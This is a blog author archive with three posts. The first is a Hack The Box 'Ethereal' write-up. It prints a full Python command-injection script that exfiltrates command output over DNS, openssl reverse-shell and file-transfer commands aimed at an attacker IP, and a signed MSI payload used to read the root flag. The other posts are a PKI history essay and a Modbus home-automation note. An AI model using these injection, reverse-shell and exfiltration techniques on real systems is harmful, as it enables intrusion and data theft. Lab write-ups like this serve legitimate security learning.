Author Archives: elkement

About elkement

Physicist, engineer, geek, dilettante science blogger, IT security consultant, search term poet, Subversive El(k)ement.

Ethereal @ hackthebox: Certificate-Related Rabbit Holes

Posted on by
Reply

This post is related to the ‘insanely’ difficult hackthebox machine Ethereal that was recently retired. Beware – It is not at all a full comprehensive write-up! I zoom in on openssl, X.509 certificates, signing stuff, and related unnecessary rabbit holes that were particularly interesting to me – as somebody who recently described herself as a Dinosaur that supports some legacy (Windows) Public Key Infrastructures, like the Cobol Programmers tackling Y2K bugs.

Ethereal was insane, because it was so locked down. You got limited remote command execution by exfiltrating the output of commands over DNS, via a ‘ping’ web tool with a command injection vulnerability. In order to use that tool you had to find credentials in a password box database that was hidden in an image of a DOS floppy disk buried in other files on an FTP server. See excellent full write-ups by 0xdf and by Bernie Lim, or watch ippsec’s video.

Regarding the DNS data exfiltration I owe to this m0noc’s great video tutorial. You parse the output of the command in a for loop, and exfil data in chunks that make up a ‘host name’ sent to your evil DNS server. I am embedding my RCE script below.

openssl – telnet-style

To obtain a reverse shell and to transfer files, you had to use openssl ‘creatively’ –  as a telnet replacement, running a ‘double shell’ with different windows for stdin and stdout.

In order to trigger this shell as ‘the’ user- the one with the flag, named jorge, you needed to overwrite an existing Windows shortcut file pointing to the Visual Studio 2017 executable (.LNK). I created ‘malicious’ shortcuts using the python library pylnk, on a Windows system. The folder containing that file was also the only place at all you could write to the file system as the initial ‘web injection user’, alan. I noticed that the overwritten LNK was replaced quickly, at least every minute – so I also hoped that a simulated user will ‘click’ the file every minute.

Creating certificate and key …

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listening on the only ports open for outgoing traffic with two ‘SSL servers’:

openssl s_server -key key.pem -cert cert.pem -port 73
openssl s_server -key key.pem -cert cert.pem -port 136

The Reverse shell command to be used in the LNK file uses the ‘SSL client’:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.19:136 | cmd 2>&1 | C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -connect 10.10.14.19:73 2>&1 &"

The first rabbit hole I fell into was that I used openssl more ‘creatively’ than what was maybe needed. Though I found this metasploit module with a double telnet-style shell for Linux I decided to work on replacing the LNK first, and only go for a reverse shell if a simple payload in the LNK would work.

Downside of that approach: I needed another way of transferring the LNK file! If I had the reverse shell, already I’d been be able to use ‘half of it’ for transferring a file in the spirit of nc.

1) Run a ‘SSL server’ locally to be prepared for sending the file:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73 <to_be_copied

2) Receive it using the SSL client:

openssl.exe s_client -quiet -connect 10.10.14.19:73 >to_be_copied

The usual ways to transfer files were blocked, for example certutil. certutil and certreq are the tools that are sort of an equivalent of openssl on Windows. certutil’s legit purpose is to manage the Windows PKI, manage certificate stores, analzye certificates, publish to certificate stores, download certificate revocation lists, etc. … The latter option makes it a ‘hacker tool’ because it lets you download other files like wget or curl (depending on the version of Windows and Defender’s vigilance doing heuristic checks of the action performed, rather than on the EXE itself).

Nearly missing out on openssl

When I saw openssl – installed on Windows! – I hoped I was on to something! However, I nearly let go of openssl as I failed to test it properly. I  ran openssl help in my nslookup shell, and did not get any response. Nearly any interesting EXE was blocked on Ethereal, so it came not as a surprise that openssl seemed to be, too.

Only after I was stuck for quite a while and a kind soul gave me a nudge to not abandon openssl too fast, I realized that the openssl help output is actually sent to standard error, not standard out.

You can redirect stderr to stdout using 2>&1 – but if you run the command ’embedded’ in the for loop (see python script below), you better escape both special characters like this:

'C:\progra~2\openssl-v1.1.0\bin\openssl.exe help 2^>^&1'

File transfer with openssl base64 and echo

My solution was to base64 encode the file locally with openssl (rather than using base64, just ‘to play it safe’), to echo out the file in  the DNS shell as alan on Ethereal, then base64 decode it and store it in the final location. I had issues with echoing out the full content in one line, so I did not use the –A option in openssl base64, but echoed one line after the other.

I missed that I can write to the folder – I believed I could only write to this single LNK file. So I had to echo to the exact same file that I would also use as the final target, like so:

type target.lnk | openssl base64 -d -out target.lnk

Below is my final RCE script for a simple ‘shell’ – either executing input commands 1:1 or special (series of) commands using shortcuts. E.g. for ‘echo-uploading’ a file, decoding, and checking the result I used

F shell.lnk
decode
showdir

In case I wanted to run a command without having to worry about escaping I can also run it blind, without any output via nslookup.

Script rce.py

import requests
import readline
import os
import sys

url = 'http://ethereal.htb:8080/'
headers = { 'Authorization' : 'Basic YWxhbjohQzQxNG0xN3k1N3IxazNzNGc0MW4h' }

server_dns = '10.10.14.19'
A_dns = 'D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.'
template = '127.0.0.1 & ( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
template_blind = '127.0.0.1 & _CMD_'
template_lnk = '( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
# CSRF protections not automated as they did not change that often
# Copy from Burp, curl etc.
postdata = { 
    '__VIEWSTATE' : '/wEPDwULLTE0OTYxODU3NjhkZG8se05Gp91AdhB+bS+3cb/nwM7/1XnvqTtUaEoqfbcF',
    '__VIEWSTATEGENERATOR' : 'CA0B0334',
    '__EVENTVALIDATION' : '/wEdAAMwTZWDrxbqRTSpQRwxTZI24CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/MZTRxLbqQfS//vLHaNSfR4/D4qt+Wcl4tw/wpixmG9w==',
    'ctl02' : ''
}

target_lnk = 'C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk'
target_lnk_dos = 'C:\Users\Public\Desktop\Shortcuts\Visual~1.lnk'
target_dir = 'C:\Users\Public\Desktop\Shortcuts\\'

openssl_path = 'C:\progra~2\openssl-v1.1.0\\bin\openssl.exe'

ask = True

def create_echo(infile_name, outfile_path):
    
    # File name must not include blanks
    b64_name = infile_name + '.b64'

    echos = []

    if not os.path.isfile(infile_name):
        print 'Cannot read file!'
        return echos
    else:
        os.system('openssl base64 -in ' + infile_name + ' -out ' + b64_name)
        f = open(b64_name, 'r')
    
    i = 0
    for line in f:
        towrite = line[:-1]
        if i == 0:
            echos += [ 'cmd /c "echo ' + towrite + ' >' + outfile_path + '"' ] 
        else:
            echos += [ 'cmd /c "echo ' + towrite + ' >>' + outfile_path + '"' ] 
        print line[:-1]
        i += 1

    f.close()
    return echos

def payload(cmd):
    return template.replace('_CMD_', cmd)

def payload_blind(cmd):
    return template_blind.replace('_CMD_', cmd)

def send(payload):
    print payload
    print ''
    
    if ask == True:
       go = raw_input('Enter n for discarding the command >>: ')
    else:
       go = 'y'

    if go != 'n':
        postdata['search'] = payload
        response = requests.post(url, data=postdata, headers=(headers))
        print 'Status Code: ' + str(response.status_code)
    else:
        print 'Not sent: ' + cmd

while True:

    cmd = raw_input('\033[41m[dnsexfil_cmd]>>: \033[0m ')

    if cmd == 'quit': 
        break

    elif cmd == 'dontask':
        ask = False
        print 'ask set to: ' + str(ask)
    elif cmd == 'ask':
        ask = True
        print 'ask set to: ' + str(ask)

    elif cmd[0:2] == 'F ':
        infile = cmd[2:]
        echos = create_echo(infile, target_lnk_dos)
        link = ' & '
        cmd_all_echos = link.join(echos)
        send(payload_blind(cmd_all_echos))

    elif cmd[0:2] == 'B ':
        cmd_blind = cmd[2:]
        send(payload_blind(cmd_blind))
       
    elif cmd == 'decode':
        cmd = 'type "' + target_lnk + '" | ' + openssl_path + ' base64 -d -out "' + target_lnk + '"'
        send(payload_blind(cmd))

    elif cmd == 'showdir':
        cmd = 'dir ' + target_dir
        send(payload(cmd))

    elif cmd == 'showfile':
        cmd = 'type "' + target_lnk + '"'
        send(payload(cmd))

    else:
        send(payload(cmd))

Finding that elusive CA certificate

After I finally managed to run a shell as jorge I fell into lots of other rabbit holes – e.g. analyzing, modifying, and compiling a recent Visual Studio exploit.

Then I ran tasklist for the umpteenth time, and saw an msiexec process! And lo and behold, even my user jorge was able to run msiexec! This fact was actually not important, as I found out later that I should wait for another (admin) user to run something.

I researched ways to use an MSI for applocker bypass. As described in detail in other write-ups you could use a simple skeleton XML file to create your MSI with the WIX toolset. WIX was the perfect tool to play with at Christmas when I did this box – it’s made up of executables called light.exe, candle.exe, lit.exe, heat.exe, shine.exe, torch.exe, pyro.exe, dark.exe, melt.exe … 🙂

So I also created a simple MSI, ran it as jorge and nothing happened. Honestly, I cannot tell with hindsight if that should have possibly worked – just without any escalation to an admin or SYSTEM context – or I made an error again. But because of my focus on all things certificates and signatures, I suspected the MSI had to be signed – that would also be in line with the spirit of downlocking at this box.

Signed code does only run of the certificate is trusted. So I needed to sign the MSI either with a ‘universally’ / publicly trusted certificate (descending from a CA certified in the Microsoft Root Program) or there was possibly a key and certificate on the box I have not found yet. Both turned out to be another good chance for falling into rabbit roles!

Testing locally with certificates in the Windows store

I used one of my Windows test CAs and issued a Code Signing certificate, then used signtool to sign a test MSI. The reference to the correct store is in this case the CN of the Subject Name which should be unique in your store:

signtool sign /n Administrator /v pingtest.msi

The MSI could be ‘installed’ and my ping worked on a test Windows box. So I knew that the signing procedure worked, but I needed a certificate chain that Ethereal will trust. With hindsight, giving my false assumption that jorge will run the MSI, I should also have considered that jorge will install a Root CA certificate of my liking into his (user’s) Root certificate store. It should theoretically be doable fiddling with the registry only (see second hilarious rabbit hole below), but normally I would certutil for that. And certutil was definitely blocked.

Publicly trusted certificate

I do have one! Our Austrian health insurance smartcards have pre-deployed keys, and you can enroll for X.509 certificates for those keys. So on a typical Windows box, code signed with this ID card would run. But there is a catch: Windows does not – anymore, since Vista if I recall correctly – pre-populate the store with all the Root CAs certified by Microsoft. If you try to run a signed MSI (or visit an HTTPS website, or read a signed e-mail), then Windows will download the required root certificate as needed. But hackthebox machines are not able to access the internet.

Yet, in despair I tried, for the unlikely case all the roots were there. Using signtool like so, it will let me pick the smartcard certificate, and I was prompted for the PIN:

signtool sign /a /v pingtest.msi

So if my signed signed had screwed up the box, I could not have denied it – a use-case of the Non-Repudation Key Usage 😉

Uploaded my smartcard-signed MSI. And failed to run it.

Ages-old Demo CA – and how to use openssl for signing

There was actually a CA on the box, sort of – the demoCA that comes with the openssl installation. A default CA key and certificate comes with openssl, and the perl script CA.pl can be used to created ‘database-like files and folders’. In despair I used this default CA certificate and key – maybe it was was trusted as kind of subtle joke? I did not bother to look closely at the CA certificate – otherwise I should have noticed it had expired long ago 🙂

The process I tested for signing was the same I used later. As makecert is the tool that many others have used to solve this, I quickly sum up the openssl process.

You can either use the openssl ca ‘module’ – or openssl x509. The latter is a bit simpler as you do not need to prepare the CA’s ‘database’ directories.

Of course I used Windows GUI tools to create the request 🙂

  • Start, Run, certmgr.msc
  • Personal, All Tasks, Advanced Operations, Create Custom Request
  • Custom PKCS#10 Request.
  • Extensions:
    Key Usage = Digital Signature
    Extended Key Usage = Code Signing
  • Private Key, Key Options: 2048 Bit
  • BASE64 encoding

The result is a BASE64 encoded ‘PEM’ certificate signing request. You can sign with the demoCA’s key like this – I did this on my Windows box.

openssl x509 -req -in req.csr -CA cacert.pem -CAkey private\cakey.pem -CAcreateserial -out codesign.crt -days 500 -extfile codesign.cnf -extensions codesign

There are different ways to make sure that the Code Signing Extended Key Usage gets carried over from the request to the certificate, or that it is ‘added again’. In the openssl.cnf config file (default or referenced via -config) you can e.g. configure to copy_extensions.

In the example above, I used a separate file for extensions. (Values seem to be case-sensitive, also on Windows).

[ codesign ]

keyUsage=digitalSignature
extendedKeyUsage=codeSigning

To complete the process, the Root CA certificate is imported in the the Trusted Root Certification Authorities store in certmgr.msc,  and the Code Signing certificate is imported into Personal certificates in certmgr.msc. In case the little key icon does not show up, key and certificate have not been properly united, which can be fixed with

certutil -repairstore -user my [Serial Number of the cert]

The file is signed without issues, however the resulting chain violates basic requirements for certificate path validation: The CA’s end of life was in 1998.

certutil cacert.pem

X509 Certificate:
Version: 1
Serial Number: 04
Signature Algorithm:
Algorithm ObjectId: 1.2.840.113549.1.1.4 md5RSA
Algorithm Parameters:
05 00
Issuer:
CN=SSLeay/rsa test CA
S=QLD
C=AU
Name Hash(sha1): 4f28bdc33fb78c854e2ceb26210f981bb73ce9ea
Name Hash(md5): ee7084bbed50615d1e118ff2ada590cf

NotBefore: 10.10.1995 00:32
NotAfter: 06.07.1998 00:32

Subject:
CN=SSLeay demo server
OU=CS
O=Mincom Pty. Ltd.
S=QLD
C=AU

Weird way to find a CA certificate

This was – for me – the most hilarious part of owning this box. The mysterious Root CA had to be in the Windows registry, and I had no certutil. So I resorted to looking at the registry directly.

‘Windows Certificate stores’ are collections of different registry key, this was the one relevant here.

C:\>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85
....

But I wanted to look into the binary certificates with those keys so I dumped each of the keys (like 18F7C1FCC3090203FD5BAA2F861A754976C8DD25) and copied the contents from the terminal to a python script. This snippet shows only a single cert in the list:

certs = [
...
'190000000100000010000000E53D34CECB05C17EE332C749D78C02560F000000010000001000000065FC47520F66383962EC0B7B88A0821D03000000010000001400000018F7C1FCC3090203FD5BAA2F861A754976C8DD2509000000010000000C000000300A06082B060105050703080B000000010000003400000056006500720069005300690067006E002000540069006D00650020005300740061006D00700069006E00670020004300410000001400000001000000140000003EDF290CC1F5CC732CEB3D24E17E52DABD27E2F02000000001000000C0020000308202BC3082022502104A19D2388C82591CA55D735F155DDCA3300D06092A864886F70D010104050030819E311F301D060355040A1316566572695369676E205472757374204E6574776F726B31173015060355040B130E566572695369676E2C20496E632E312C302A060355040B1323566572695369676E2054696D65205374616D70696E67205365727669636520526F6F7431343032060355040B132B4E4F204C494142494C4954592041434345505445442C20286329393720566572695369676E2C20496E632E301E170D3937303531323030303030305A170D3034303130373233353935395A30819E311F301D060355040A1316566572695369676E205472757374204E6574776F726B31173015060355040B130E566572695369676E2C20496E632E312C302A060355040B1323566572695369676E2054696D65205374616D70696E67205365727669636520526F6F7431343032060355040B132B4E4F204C494142494C4954592041434345505445442C20286329393720566572695369676E2C20496E632E30819F300D06092A864886F70D010101050003818D0030818902818100D32E20F0687C2C2D2E811CB106B2A70BB7110D57DA53D875E3C9332AB2D4F6095B34F3E990FE090CD0DB1B5AB9CDE7F688B19DC08725EB7D5810736A78CB7115FDC658F629AB585E9604FD2D621158811CCA7194D522582FD5CC14058436BA94AAB44D4AE9EE3B22AD56997E219C6C86C04A47976AB4A636D5FC092DD3B4399B0203010001300D06092A864886F70D01010405000381810061550E3E7BC792127E11108E22CCD4B3132B5BE844E40B789EA47EF3A707721EE259EFCC84E389944CDB4E61EFB3A4FB463D50340B9F7056F68E2A7F17CEE563BF796907732EB095288AF5EDAAA9D25DCD0ACA10098FCEB3AF2896C479298492DCFFBA674248A69010E4BF61F89C53E593D1733FF8FD9D4F84AC55D1FD116363',
....
]
for cert in certs:
    print '======================================='
    print cert
    print '======================================='
    print cert.decode('hex')
    print '======================================='

OK, certainly not the most elegant way to deal with it, but I was loosing patience – I was on a war path!!

Strings in the output contain the CA’s Issuer and Subject Name, and most were familiar Microsoft, Versign, etc. With this exception:

=======================================
¬·╟<          òë┌┐ò$º¿Y╔&┌╢e½s╦π≥│τÇ╤#w▌╙o╠D       ╖è╔└eîqD╕ß!└öPδ⌠ ¡      ü¿M»╬Φv√tÄ.LgawĽ0ß       τ9╡ïε╢æï
  é0é010 U  My CA0é"0≥▀~àE~Γ<éíFj0
é ¥═p|ÉÉ▒ôfD╬,°á3╣Zƒ╕Cáφs╖Kεmìδ╗wFo2ßÄK ┘Xì╧Y?ÉR╢&,V┘Ω╠û5¬Σ▒┴Γ╧B·Gb4éτåi0Ku rí╕Oh≈φ¬u≤h¥J ┌┌º(┐Jk<√=-9{£H[▀ªP&«¢ΣU■2~ ½Öº-4║o/σ£oºå─∙Åédü¿éÅêr▐O.╘<'Qu∙w0~▒A±·â·{k
  é hòÿâ⌠╝*εC╡Åπs⌠╝[░╣±kπ{≥¬æ±¬╠b┐╤GëJ»i%┴       ╕ìiΦπ %¬*π[ò╗,9ü:╦-5  úV0T0 U  0  0A U :08ǽÖ┬ï]═8¬I¡X^⌠í010 U  My CAé÷h≥▀~àE~Γ<éíFj0

▀ó*┌û╞Qfè£ⁿ─;Lτ·II╫─╓┴¼╤N∩j Φ
)x═Mπ╪₧⌠ç╛ê┤YF:╛╢╙êDτσªM]Gá⌐ S≡∞Yg J»╪u

...

Maybe hard to spot, but there was a CA called My CA! But where was the key I needed to sign my own Code Signing cert?

In such cases, I typically resort to more Windows registry forensics. I hoped that ‘jorge’ or the box’ creators had touched a folder with these certificate and key. I walked through various Explorer-related keys, especially the infamous Shellbags:

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
    NodeSlot    REG_DWORD    0x3
    MRUListEx    REG_BINARY    0100000000000000FFFFFFFF
    0    REG_BINARY    4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000
    1    REG_BINARY    5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1

… and I really saw a folder called Certs after decoding:

>>> print s.decode('hex')
n 1     µLGu VISUAL~1  V          ∩╛µLGuµLGu.   z¿                    åUÉ V i s u a l   S t u d i o   2 0 1 7   
>>> s='4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000'
>>> print s.decode('hex')
J 1     █L╓│ DEV 8        ∩╛█LÅ│█L╓│.   $                    Ö0e D E V   
>>> s='5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000'
>>> print s.decode('hex')
P 1     τLJ« Certs <      ∩╛τLA«τLJ«.   I.                    Ωτ╜ C e r t s    >>>

… and a link to a folder called MSIs:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\Folder
    0    REG_BINARY    5000750062006C0069006300000060003200000000000000000000005075626C69632E6C6E6B0000460009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000005000750062006C00690063002E006C006E006B0000001A000000
    MRUListEx    REG_BINARY    020000000100000000000000FFFFFFFF
    1    REG_BINARY    4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000
...

>>> s='4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000'
>>> print s.decode('hex')
M S I s   Z 2           MSIs.lnk  B        ∩╛        .                             M S I s . l n k   
>>>

Then I did what I should have done before – checking out the Recent Docs folder directly …

Directory of C:\Users\jorge\AppData\Roaming\Microsoft\Windows\Recent

07/07/2018  09:47 PM               405 EFS.lnk
07/07/2018  09:53 PM               555 MSIs.lnk
07/07/2018  09:53 PM               678 note.lnk
07/07/2018  09:49 PM               690 Public.lnk
07/09/2018  09:13 PM               612 system32.lnk
07/04/2018  09:17 PM               527 user.lnk

…. the file MSIs.link contained the path:

...
D:\DEV\MSIs
...

So there was a D: drive I had totally missed – and there you found a key MyCA.pvk and a certificate MyCA.cer.

The ‘funny’ thing now is that the LNK file hijacked before pointed to Visual Studio installed on the D: drive. So the intended way was likely to go straight to this folder, see certificates and and MSIs folder, and conclude you need to sign an MSI.

Signing that darn thing finally 🙂

I wanted to re-use the openssl process I tested before. But openssl cannot use PVK files (AFAIK 😉 but you can convert PVK keys to PFX (PKCS#12)

I ran

pvk2pfx /pvk MyCA.pvk /spc MyCA.cer

… to start a GUI certificate export wizard that let me specify the PFX password.

Then I converted the PFX key to PEM

openssl pkcs12 -in MyCA.pfx -out MyCA.pem -nodes

… and the binary (‘DER’) certificate to PEM

openssl x509 -inform der -in MyCA.cer -out MyCA.cer.pem

I signed a Code Signing certificate for a user with CN Test 1 (same process as with the demoCA), and used this to sign the final payload! Imported MyCA.cer to the Trusted Roots and referenced again the CN of the user in signtool:

signtool sign /n "Test 1" /v half_shell_MyCA.msi
The following certificate was selected:
    Issued to: Test 1
    Issued by: My CA
    Expires:   Sat May 09 14:54:50 2020
    SHA1 hash: 0CDBA139B0E93813969E9E82F1E739C962BA6A3B

Done Adding Additional Store
Successfully signed: half_shell_MyCA.msi

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

I verified the MSI also with

signtool verify /pa /v half_shell_MyCA.msi

My final signed MSI payload was what I called a half shell, a command like this:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.19:136 | cmd &"

You can execute commands, but you do not get the output back. I tried to use my resources most efficiently.

A text note told us that the admin ‘rupal’ will test MSIs frequently. So I need one openssl listener – thus one of the two precious open ports – for waiting for rupal.

I used the other open port for uploading the MSI, ‘nc-style’ again with openssl.

But if I really wanted output from the blind half shell, I could also embed it in nslookup. So I used the rce.py to create this type of command (for that it has on option to just display but not run a command), that I would then paste into the input window of jorge’s half shell.

FOR /F "tokens=1-26" %a in ('copy half_shell_MyCA.msi D:\DEV\MSIs') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z. 10.10.14.19)

And rupal called back!

\o/

But he also only half a shell, so I read root.txt via nslookup, pasting this command into his half shell:

FOR /F "tokens=1-26" %a in ('type C:\Users\rupal\Desktop\root.txt') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z. 10.10.14.19)

What an adventure!

Ethereal-owned

Certificates and PKI. The Prequel.

Posted on by
1

Some public key infrastructures run quietly in the background since years. They are half forgotten until the life of a signed file has come to an end – but then everything is on fire. In contrast to other seemingly important deadlines (Management needs this until XY or the world will come to an end!) this deadline really can’t be extended. The time of death is included in the signed data since a long time.

The entire security ‘ecosystem’ changes while these systems sleep in the background. Now we have Let’s Encrypt (I was late to that party), HTTPS is everywhere, and the green padlock as an indicator of a secure site is about to die.

Recently I stumbled upon a whirlwind tour of the history of PKI and SSL/TLS – covering important events in the evolution of standards and technologies, from shipping SSLv2 in Netscape Navigator 1.1 in 1995 to Chrome marking HTTP pages as ‘not secure’ in 2018. Scrolling down the list of years I could not avoid waxing nostalgic. I had written about PKI before at length before, but this time I do what the Hollywood directors of blockbusters do – I write a prequel.

I remember the first times I created a Certificate Signing Request (CSR) and submitted it to a Certificate Authority (CA). It was well before 2000, and it was an adventure!

I was a scientist turned freelance IT consultant – I went from looking at Transmission Electron Microscope images to troubleshooting why Outlook did not start on small business owners’ computers. And I was daring enough to give trainings, based on the little I knew (with hindsight) about IT and networking. I also developed some classes from scratch – creating wiki-style training material, using Microsoft FrontPage 1998.

One class was  called networking and security of the like, and it was part of a vocational retraining curriculum – to turn former factory workers and admin assistants into computer technicians. For reasons I cannot remember I included a brief explanation of the RSA algorithm in my clunky FrontPage site. It was maybe a pretext to justify an exciting lab exercise: As the PKI history timeline shows, SSL was still rather new. Press releases by Austrian IT companies highlighted the military-grade protection from eavesdropping. It felt like Star Trek. One of the early Austrian National CAs offered ‘light’ test certificates. The description of the enrollment process was targeted to business users, but it was pure geek speak: A mysterious multi-step procedure explained in hacker terms like Secure Vault.

I don’t remember if my students found it that exciting or if the test enrolling a lots of certificates simultaneously did work so well at all. But I was hooked.

As a freelancer I started working with my former colleagues again – supporting the sciencists to subvert re-interpert the central IT department’s policies by setting up their own server, or by circumventing the firewall by dialing in to their own modem. This were the days of IT hype in the late 1990s before the dotcom bust. The research center had a new CEO with an IT background, and to get your projects approved you had to tack the label virtual onto anything. So I helped with creating a Virtual Materials Science Lab – which meant we used Microsoft Netmeeting.

Despite or because of such activities I also started working for the IT department. It was the time when The Cluetrain Manifesto told us that hyperlinks were subversive. As a ‘manager’ I should have disciplined shadow IT admins purchasing their own domains and running their shadow servers, but I could not stop tinkering with the web servers myself. It was also the time when I learned that to make things work in larger organizations – or a combination of several of those – you often need to social engineer someone.

We needed a SSL certificate – and I was the super qualified person for that task, based on my experience playing with the Secure Vault. But creating and submitting the CSR, and installing the certificate was the easy part. There were unexpected challenges:

The research center had a long legal name – 65 characters including the final dot in the indication of the legal entity. Common Names in X.509 certificates are limited to 64 characters, so I could not enter the final dot in IIS’s (Internet Information Server’s) wizard for CSRs. The legal name was cross-checked against the Dun&Bradstreet database. One would think that the first 64 characters of a peculiar German name would have been sufficient, but no. It took several phone calls – and faxes! – to prove to the US-based CA company that we were who we claimed to be.

The fact I called a CA company in the US might highlight a mistake: If I recall correctly Big CA had partners in Europe already at that time, but I missed that, or I wanted to talk to the mothership for some reason.

To purchase the certificate from the US-based company you needed a credit card, to be entered exactly when you submit the CSR. This process was disrupting the usual purchasing procedures and I had to social engineer somebody from the procurement department to join me in my adventure, bringing the corporate credit card.

The research center was a company owned 51% by government – so you had SAP and insane management deadlines as well as conferences and academic publication records. The Internet in general was still dominated by its academic roots. Not long ago, there had been a single web page listing All WWW servers in Austria, and that page was run by the academic internet backbone. Domain registration data were tied to a person, to the wrong person, or to the wrong entity – which came back to bite you later.

Fortunately the domain assigned to the SSL certificate belonged to us – so I did not have to  social engineer a DNS admin this time. But it was assigned to a person and not to the organization. The person was an employee in charge of the network, but how should you prove that? More faxes and phone calls were required to sort out the fine legal points.

I did not keep records of that period, so I don’t know if this web server is alive or if at least the domain still exists. Maybe unlikely, given the rapid decay of rotting links. But while researching history for this post – randomly googling for early versions of Microsoft’s web servers – I discovered interesting things. There is a small change it may be alive!

The first version of the Windows Certificate Authority had been released as an add-on to Windows NT 4, as part of the so-called Windows NT 4 Option Pack – the same add-on that also contained the webserver (IIS) itself. It was the time when I learned ASP programming by going online via dial-up and browsing through MSDN as quick as possible not to overspend my precious monthly online time.

I wanted to relive the setup of Internet Information Server 4.0 as and the Option Pack – and found lots of support articles and how-to’s, like this one.

However, I also found live websites like this:

This is only the setup CD, so no danger yet, but you can as well find sites with the welcome page of the operating web server online – including sample ASP applications – which I don’t show deliberately. (Image credits: Microsoft.)

I wonder why I had been frantically re-developing my websites in ASP.NET from scratch – ‘just because’ ASP was outdated technology, even though there were no known vulnerabilities and the sites were running on a modern operating system.

Time to quote from Peter Gutmann’s book Engineering Security:

A great many of today’s security technologies are “secure” only because no-one has ever bothered attacking them.

… which is also true for yesterday’s technology still online!

Modbus Server on Raspberry Pi as Babelfish for UVR16x2

Posted on by

Our main data logger is the Control and Monitoring Interface of the freely programmable controller UVR16x2. There are two pieces of hardware you need for logging – the actual control unit and the logger connected to the controller via the CAN bus. This ‘architecture’ might be due to historical reasons, but I like the separation of critical control functions and nice-to-have logging. An operating system for control should do just that – I don’t want a web server and TCP/IP on the controller itself.

But sometimes it might be useful to send the controller a non-critical ‘nice-to-have’ signal. If you want to optimize the usage of photovoltaic energy, the controller should know about the PV ‘production’ and current consumption. As the CMI supports Modbus inputs and our Fronius Symo inverter has a Modbus interface, PV ‘generation’ data can be logged via Modbus. However, our smart meter has ‘only’ a JSON interface – and you can always scrape data from the website as last resort. But while the CMI is a web server with visualization a JSON API, it cannot log ‘from’ JSON.

My Data Kraken is a SQL Server that is fed log files from different data loggers – the largest one from the CMI, and others are from our smart power meter’s logger, from our photovoltaic inverter, and from the heat pump’s internal CAN bus. Separate log files provide for built-in backup – but what if I could send these data to the UVR16x2 in real time in addition?

Currently different loggers log data at different points of time, so you cannot simply join all these tables together. Of course you can simply overlay the data without the time stamps being exactly equal. As I am mainly interested in daily consumption or performance data, the Data Kraken creates a series of nested views, finally spitting out one row per day, and those views for different loggers can be joined again. So far I could not, say, calculate the photovoltaic power used directly at each instant.

I was looking for … a babel fish! A universal protocol translator that …

  • collects data from other sources which UVR cannot directly process.
  • processes these data and calculates derived values, without having to ‘waste’ UVR16x2’s building blocks for functions on that.
  • and provides these data to UVR16x2 in a proper format as an input relevant for control.

As I had already tested logging from Modbus sources, the logical solution was:

Starting my own Modbus server at the Raspberry Pi we already use for logging from the heat pump’s CAN bus.

The main units of our control infrastructure – after the Chief Engineer’s heroic rebuild of the technical room last year. Top right: Raspberry Pi 3 B – with a USB stick for logging (This extends the life time of the SD card a lot ;-)), second ‘row’ UVR16x2, third row: UVR1611 – most of its former functions have been migrated to UVR16x2.

There is a great python library called pymodbus which makes this task easy:

You write values to your own registers by building a payload from values in different formats. Here is an example using the payload builder to create a ‘stack’ of registers containing payloads of different types. The payload builder can be fed values retrieved from another logger, or created by whatever complex calculation. These values are then ‘sent out’ via your Modbus server interface. That infamous usage of weather forecast data from some public API for optimizing battery storage could theoretically be one application for that.

